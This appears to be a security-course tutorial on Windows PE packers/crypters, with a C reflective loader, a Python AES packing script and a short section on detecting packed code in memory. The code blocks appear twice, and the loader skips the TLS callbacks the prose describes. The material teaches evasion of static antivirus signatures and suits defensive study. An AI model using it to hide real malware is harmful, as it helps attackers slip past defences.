PE Packer / Crypter
Overview
A PE packer is a two-part construct: a small outer stub (the loader) and an encrypted or compressed inner PE (the payload). On disk, the file looks like an unremarkable binary with a dense, high-entropy section and minimal imports. At runtime, the stub decrypts the inner image, maps it as if the Windows loader had done so, and transfers execution to the original entry point.
The technique defeats static signatures because nothing recognisable lives in the file’s sections. It does not defeat memory scanning or behavioural heuristics — a correctly loaded PE is still a PE, and it still produces the same API calls as its unpacked counterpart.
The Windows loader runs TLS callbacks before the entry point. Packers that skip this step break some C runtimes and any target that uses TLS-based anti-analysis. Running them costs nothing and avoids hard-to-debug startup failures.
The call chain
- 1ReadFile → decrypt PE blobThe outer stub reads the packed section, derives the key, and decrypts the inner image in a heap buffer.
- 2parse NT headersWalk DOS → NT → section headers to find the image size, preferred base, and section table.
- 3VirtualAlloc at preferred baseTry the preferred ImageBase first; fall back to any base and apply relocations.
- 4copy sectionsCopy each section to VirtualAddress + allocated base, applying section flags.
- 5resolve importsWalk the import directory, call LoadLibrary + GetProcAddress for each entry.
- 6apply relocations (if needed)If the image was not loaded at its preferred base, patch every base-relative pointer.
- 7VirtualProtect per sectionSet final page protections (.text → RX, .data → RW, .rdata → R).
- 8call TLS callbacks then OEPRun any TLS callbacks registered in the TLS directory, then jump to AddressOfEntryPoint.
Reference implementation
The core of an in-process PE loader in C. Error handling and the full relocation loop are omitted; the annotated version is in the lab repo.
typedef BOOL (WINAPI *DllMain_t)(HINSTANCE, DWORD, LPVOID);
void load_pe(const uint8_t *raw, size_t raw_len) {
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)raw;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(raw + dos->e_lfanew);
SIZE_T img_size = nt->OptionalHeader.SizeOfImage;
LPVOID base = nt->OptionalHeader.ImageBase;
// try preferred base; fall back to ASLR pick
uint8_t *mem = VirtualAlloc((LPVOID)base, img_size,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!mem)
mem = VirtualAlloc(NULL, img_size,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// copy PE headers
memcpy(mem, raw, nt->OptionalHeader.SizeOfHeaders);
// copy sections
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
for (int i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++)
memcpy(mem + sec->VirtualAddress,
raw + sec->PointerToRawData, sec->SizeOfRawData);
// resolve imports
PIMAGE_DATA_DIRECTORY idir =
&nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
PIMAGE_IMPORT_DESCRIPTOR imp =
(PIMAGE_IMPORT_DESCRIPTOR)(mem + idir->VirtualAddress);
for (; imp->Name; imp++) {
HMODULE lib = LoadLibraryA((LPCSTR)(mem + imp->Name));
PIMAGE_THUNK_DATA thunk = (PIMAGE_THUNK_DATA)(mem + imp->FirstThunk);
for (; thunk->u1.AddressOfData; thunk++) {
PIMAGE_IMPORT_BY_NAME ibn =
(PIMAGE_IMPORT_BY_NAME)(mem + thunk->u1.AddressOfData);
thunk->u1.Function =
(ULONG_PTR)GetProcAddress(lib, (LPCSTR)ibn->Name);
}
}
// apply base relocations if needed
LONGLONG delta = (LONGLONG)(mem - (uint8_t*)nt->OptionalHeader.ImageBase);
// ... relocation loop omitted ...
// per-section page protections
sec = IMAGE_FIRST_SECTION(nt);
for (int i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) {
DWORD protect = PAGE_READONLY;
if (sec->Characteristics & IMAGE_SCN_MEM_EXECUTE) protect = PAGE_EXECUTE_READ;
if (sec->Characteristics & IMAGE_SCN_MEM_WRITE) protect = PAGE_READWRITE;
DWORD old;
VirtualProtect(mem + sec->VirtualAddress, sec->Misc.VirtualSize, protect, &old);
}
// call entry point
DllMain_t ep = (DllMain_t)(mem + nt->OptionalHeader.AddressOfEntryPoint);
ep((HINSTANCE)mem, DLL_PROCESS_ATTACH, NULL);
}typedef BOOL (WINAPI *DllMain_t)(HINSTANCE, DWORD, LPVOID);
void load_pe(const uint8_t *raw, size_t raw_len) {
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)raw;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(raw + dos->e_lfanew);
SIZE_T img_size = nt->OptionalHeader.SizeOfImage;
LPVOID base = nt->OptionalHeader.ImageBase;
// try preferred base; fall back to ASLR pick
uint8_t *mem = VirtualAlloc((LPVOID)base, img_size,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!mem)
mem = VirtualAlloc(NULL, img_size,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// copy PE headers
memcpy(mem, raw, nt->OptionalHeader.SizeOfHeaders);
// copy sections
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
for (int i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++)
memcpy(mem + sec->VirtualAddress,
raw + sec->PointerToRawData, sec->SizeOfRawData);
// resolve imports
PIMAGE_DATA_DIRECTORY idir =
&nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
PIMAGE_IMPORT_DESCRIPTOR imp =
(PIMAGE_IMPORT_DESCRIPTOR)(mem + idir->VirtualAddress);
for (; imp->Name; imp++) {
HMODULE lib = LoadLibraryA((LPCSTR)(mem + imp->Name));
PIMAGE_THUNK_DATA thunk = (PIMAGE_THUNK_DATA)(mem + imp->FirstThunk);
for (; thunk->u1.AddressOfData; thunk++) {
PIMAGE_IMPORT_BY_NAME ibn =
(PIMAGE_IMPORT_BY_NAME)(mem + thunk->u1.AddressOfData);
thunk->u1.Function =
(ULONG_PTR)GetProcAddress(lib, (LPCSTR)ibn->Name);
}
}
// apply base relocations if needed
LONGLONG delta = (LONGLONG)(mem - (uint8_t*)nt->OptionalHeader.ImageBase);
// ... relocation loop omitted ...
// per-section page protections
sec = IMAGE_FIRST_SECTION(nt);
for (int i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) {
DWORD protect = PAGE_READONLY;
if (sec->Characteristics & IMAGE_SCN_MEM_EXECUTE) protect = PAGE_EXECUTE_READ;
if (sec->Characteristics & IMAGE_SCN_MEM_WRITE) protect = PAGE_READWRITE;
DWORD old;
VirtualProtect(mem + sec->VirtualAddress, sec->Misc.VirtualSize, protect, &old);
}
// call entry point
DllMain_t ep = (DllMain_t)(mem + nt->OptionalHeader.AddressOfEntryPoint);
ep((HINSTANCE)mem, DLL_PROCESS_ATTACH, NULL);
}What the packer wraps
from Crypto.Cipher import AES
import os, sys
def pack(infile, outfile, key):
raw = open(infile, 'rb').read()
iv = os.urandom(16)
ct = AES.new(key, AES.MODE_CBC, iv).encrypt(
raw + b'\x00' * (16 - len(raw) % 16))
# emit: iv || ciphertext; stub reads this from its .packed section
open(outfile, 'wb').write(iv + ct)
pack(sys.argv[1], sys.argv[2], bytes.fromhex(sys.argv[3]))from Crypto.Cipher import AES
import os, sys
def pack(infile, outfile, key):
raw = open(infile, 'rb').read()
iv = os.urandom(16)
ct = AES.new(key, AES.MODE_CBC, iv).encrypt(
raw + b'\x00' * (16 - len(raw) % 16))
# emit: iv || ciphertext; stub reads this from its .packed section
open(outfile, 'wb').write(iv + ct)
pack(sys.argv[1], sys.argv[2], bytes.fromhex(sys.argv[3]))Detection
The most reliable signal is malfind-style scanning: look for private memory regions that begin
with MZ and contain a valid NT header. That survives any amount of packer layering as long as
the payload is eventually fully mapped. Entropy scanning of the on-disk file is complementary but
produces false positives on compressed resources.